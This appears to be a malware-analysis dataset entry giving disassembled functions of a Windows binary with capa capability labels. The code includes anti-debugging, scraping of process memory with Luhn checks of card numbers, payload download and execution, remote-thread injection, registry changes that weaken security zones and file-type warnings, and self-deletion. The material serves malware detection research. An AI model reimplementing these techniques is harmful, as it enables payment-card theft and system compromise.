joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b3e3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push es
add byte [eax], al
lea eax, [ebp - 0x230]
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x6fc], 0
jne 0x40b5b4
and byte [ebp - 0x77c], 0
and byte [ebp - 0x77b], 0
mov byte [ebp - 0x77a], 4
and byte [ebp - 0x779], 0
mov byte [ebp - 0x778], 0xb8
mov byte [ebp - 0x777], 0xc1
mov byte [ebp - 0x776], 0xa7
mov byte [ebp - 0x775], 0xab
mov byte [ebp - 0x774], 0x89
mov byte [ebp - 0x773], 0x94
mov byte [ebp - 0x772], 0x9c
mov byte [ebp - 0x771], 0x89
mov byte [ebp - 0x770], 0x9a
mov byte [ebp - 0x76f], 0x96
mov byte [ebp - 0x76e], 0xdb
mov byte [ebp - 0x76d], 0xbd
mov byte [ebp - 0x76c], 0x92
mov byte [ebp - 0x76b], 0x97
mov byte [ebp - 0x76a], 0x9e
mov byte [ebp - 0x769], 0x88
mov byte [ebp - 0x768], 0xa7
mov byte [ebp - 0x767], 0xb8
mov byte [ebp - 0x766], 0x94
mov byte [ebp - 0x765], 0x96
mov byte [ebp - 0x764], 0x96
mov byte [ebp - 0x763], 0x94
cmp dword [ebp - 0x6fc], 1
jne 0x40b665
and byte [ebp - 0x78c], 0
and byte [ebp - 0x78b], 0
mov byte [ebp - 0x78a], 0xa0
and byte [ebp - 0x789], 0
mov byte [ebp - 0x788], 3
mov byte [ebp - 0x787], 0x3b
mov byte [ebp - 0x786], 0x33
mov byte [ebp - 0x785], 0x3c
mov byte [ebp - 0x784], 0x30
mov byte [ebp - 0x783], 0x3a
mov byte [ebp - 0x782], 0x2d
mov byte [ebp - 0x781], 0x71
mov byte [ebp - 0x780], 0x3b
mov byte [ebp - 0x77f], 0x33
mov byte [ebp - 0x77e], 0x33
mov byte [ebp - 0x77d], 0x5f
push 0xc
lea eax, [ebp - 0x78c]
push eax
call fcn.00409a49
pop ecx
push eax
mov eax, dword [ebp - 0x28]
lea eax, [ebp + eax - 0x12c]
push eax
call fcn.004099aa
add esp, 0xc
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x3a0], eax
jmp 0x40b9b1
cmp dword [ebp - 0x6fc], 2
jne 0x40b722
and byte [ebp - 0x79c], 0
and byte [ebp - 0x79b], 0
mov byte [ebp - 0x79a], 0x10
and byte [ebp - 0x799], 0
mov byte [ebp - 0x798], 0xb3
mov byte [ebp - 0x797], 0x8c
mov byte [ebp - 0x796], 0x80
mov byte [ebp - 0x795], 0x81
mov byte [ebp - 0x794], 0x9d
invalid
test dword [ebp - 8], ebp
Function at 0x401fc0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push 0x9c
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401940
add esp, 0xc
push 0x24
push 0
lea ecx, [ebp - 0x50]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x2c], 0x9c
cmp dword [0x407b50], 1
jne 0x402021
push str.GetNativeSystemInfo
push 0x40649c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0x70], eax
lea edx, [ebp - 0x50]
push edx
call dword [ebp + 0x70]
jmp 0x40202b
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x28], 5
jne 0x402055
cmp dword [ebp - 0x24], 0
jne 0x402055
push str.Windows_2000
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x402075
cmp dword [ebp - 0x24], 1
jne 0x402075
push str.Windows_XP
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x40210c
cmp dword [ebp - 0x24], 2
jne 0x40210c
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
jne 0x4020af
movzx edx, word [ebp - 0x50]
cmp edx, 9
jne 0x4020af
push str.Windows_XP_Professional_x64
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x4020cf
push str.Windows_Server_2003
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, word [ebp + 0x6c]
and edx, 0x8000
jne 0x4020ef
push str.Windows_Home_Server
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40210c
push str.Windows_Server_2003_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40214c
cmp dword [ebp - 0x24], 0
jne 0x40214c
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x402132
push str.Windows_Vista
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
je 0x40214c
push str.Windows_Server_2008
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40218a
cmp dword [ebp - 0x24], 1
jne 0x40218a
movzx eax, byte [ebp + 0x6e]
cmp eax, 1
je 0x402172
push str.Windows_Server_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x40218a
push str.Windows_7
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add ebp, 0x74
mov esp, ebp
pop ebp
ret
Function at 0x402200
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push 0x128
push 0
lea eax, [ebp - 0x140]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x140], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0x1000
mov eax, dword [ebp - 0xc]
push eax
push 8
mov ecx, dword [0x407aec]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x18], 0
push 0x104
push 0
lea ecx, [ebp - 0x244]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x11c]
push edx
push 0x40656c
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jbe 0x402324
mov eax, dword [ebp - 4]
push eax
push 8
mov ecx, dword [0x407aec]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 8]
push eax
push 8
mov ecx, dword [0x407aec]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x244]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x18], 0
je 0x402345
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40227b
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x4024c0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push 0
push 0x84200000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x407b54]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1c], eax
push 0x40
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.00401940
add esp, 0xc
push 0x3f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.00401290
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x15c]
push eax
call fcn.00402680
add esp, 8
test eax, eax
jne 0x40252b
xor eax, eax
jmp 0x402679
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x10], ecx
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402460
add esp, 8
mov edx, dword [ebp - 0x18]
push edx
push 0
mov eax, dword [0x407aec]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x18]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x200
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402616
cmp dword [ebp - 0xc], 0
je 0x402616
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401980
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
jmp 0x4025aa
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004016f0
add esp, 0x10
mov dword [ebp - 4], eax
push 5
mov edx, dword [ebp - 4]
push edx
push 0x4073e0
mov eax, dword [ebp - 0x14]
push eax
call fcn.004014d0
add esp, 0x10
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [0x407aec]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x402ae0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
jmp 0x402af8
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x402b00
jmp 0x402aef
call fcn.00403150
test eax, eax
jne 0x402b10
xor eax, eax
jmp 0x402be9
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0xc]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 4], 1
jne 0x402b52
jmp 0x402b99
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0x25
push 0x25
push 0
push 0x407b20
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push 0x407b20
lea ecx, [ebp - 4]
push ecx
push 0
push 0x406758
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402b99
jmp 0x402b99
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4a
push 0
push 0x407620
call fcn.00401940
add esp, 0xc
push 0x4a
push 0x407620
push 0x407b20
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407b20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.004031a0
test eax, eax
je 0x402be4
call fcn.00403190
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402ff0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x10], 0
push str..exe_.bat_.reg_.vbs_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
jmp 0x403024
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
push 5
push 0x407204
call fcn.00403170
add esp, 8
cmp dword [ebp - 8], eax
jge 0x40303f
call fcn.00403180
jmp 0x40301b
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x403072
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
jmp 0x403077
jmp 0x403143
mov eax, dword [ebp - 0x14]
push eax
push str..exe_.bat_.reg_.vbs_
push 1
push 0
push str.LowRiskFileTypes
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x406890
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push 0x4068d4
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40310c
jmp 0x40312f
push 4
lea edx, [ebp - 0xc]
push edx
push 4
push 0
push str.1806
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10
push str.Error
push str.Failed_to_open_registry_key
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esp, ebp
pop ebp
ret
Function at 0x4031d0
Capabilities:
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4031e8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x44
push 0
lea eax, [ebp - 0x6c]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x6c], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [0x40720c], 1
call fcn.004013c0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x403229
jmp 0x40324a
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push 0x407400
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 2
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [0x407208]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [ebp - 0x10]
mov dword [0x407208], ecx
cmp dword [ebp + 8], 1
jne 0x4032b7
mov edx, dword [0x407210]
mov dword [0x407214], edx
mov eax, dword [ebp - 0x20]
mov dword [0x407218], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [0x40721c]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [ebp - 0x14]
mov dword [0x40721c], ecx
mov dword [ebp + 8], 0
jmp 0x40326f
mov edx, dword [0x407af0]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00403470
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4032db
jmp 0x403313
mov edx, entry0
sub edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 0x18], edx
push 0
push 0
push 0
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x403313
cmp dword [ebp + 8], 0
jne 0x403313
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x4033a0
Capabilities:
Check for debugger via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 0
je 0x4033e2
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x403c60
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x4072a0
call fcn.00401940
add esp, 0xc
mov dword [0x4072a0], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x4072a0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x4072c4
call fcn.00403eb0
add esp, 4
cmp eax, 1
jne 0x403cbc
jmp 0x403e53
mov ecx, dword [0x407210]
cmp ecx, dword [0x4072a8]
je 0x403cd8
mov edx, dword [0x407210]
cmp edx, dword [0x4072b8]
jne 0x403cdd
jmp 0x403e53
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4072a8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403d0d
jmp 0x403e53
cmp dword [0x407b50], 1
jne 0x403d39
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407b58]
cmp dword [ebp - 0x20], 0
jne 0x403d39
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403e53
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x403e49
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x403d82
cmp dword [ebp - 0xc], 0
je 0x403d82
jmp 0x403e49
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x403d9e
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x403da0
jmp 0x403d40
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x403e44
cmp dword [ebp - 8], 0
je 0x403dc4
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x403dca
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x403de8
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x403df5
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x407220]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00403f00
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00404820
add esp, 8
jmp 0x403da7
jmp 0x403d40
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4072a0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403ca5
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x4050c0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x40513e
cmp dword [ebp - 8], 0
jne 0x405131
mov dword [ebp - 0x10], 1
jmp 0x405138
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x405185
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x405170
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x40517a
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x405122
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x40519d
mov dword [ebp - 0x1c], 1
jmp 0x4051a4
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x405a00
Capabilities:
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.00405c50
push 0
mov eax, dword [0x407ae8]
push eax
call fcn.00405cb0
add esp, 8
push 0
mov ecx, dword [0x407ae4]
push ecx
call fcn.00405980
add esp, 8
mov edx, dword [0x407ae0]
push edx
call fcn.00405990
add esp, 4
call fcn.00405be0
push 0x407680
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x405a52
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x405a60
Capabilities:
Create directory
Create process on windows
Create process suspended
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
call fcn.00405c70
test eax, eax
jne 0x405bc6
mov dword [ebp - 4], 0
call fcn.004059c0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
and eax, 0x80000001
jns 0x405a94
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x405a9c
jmp 0x405aaf
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004024c0
add esp, 8
mov dword [ebp - 4], eax
lea eax, [ebp - 0x484]
push eax
push 0
push 0
push 0x20
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 5
lea ecx, [ebp - 0x20]
push ecx
call fcn.00401340
add esp, 8
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x484]
push eax
push 0x406d98
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x27c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x484]
push edx
push 0x406da4
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x44
push 0
lea eax, [ebp - 0x74]
push eax
call fcn.00401940
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x30]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x405cb0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405ced
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret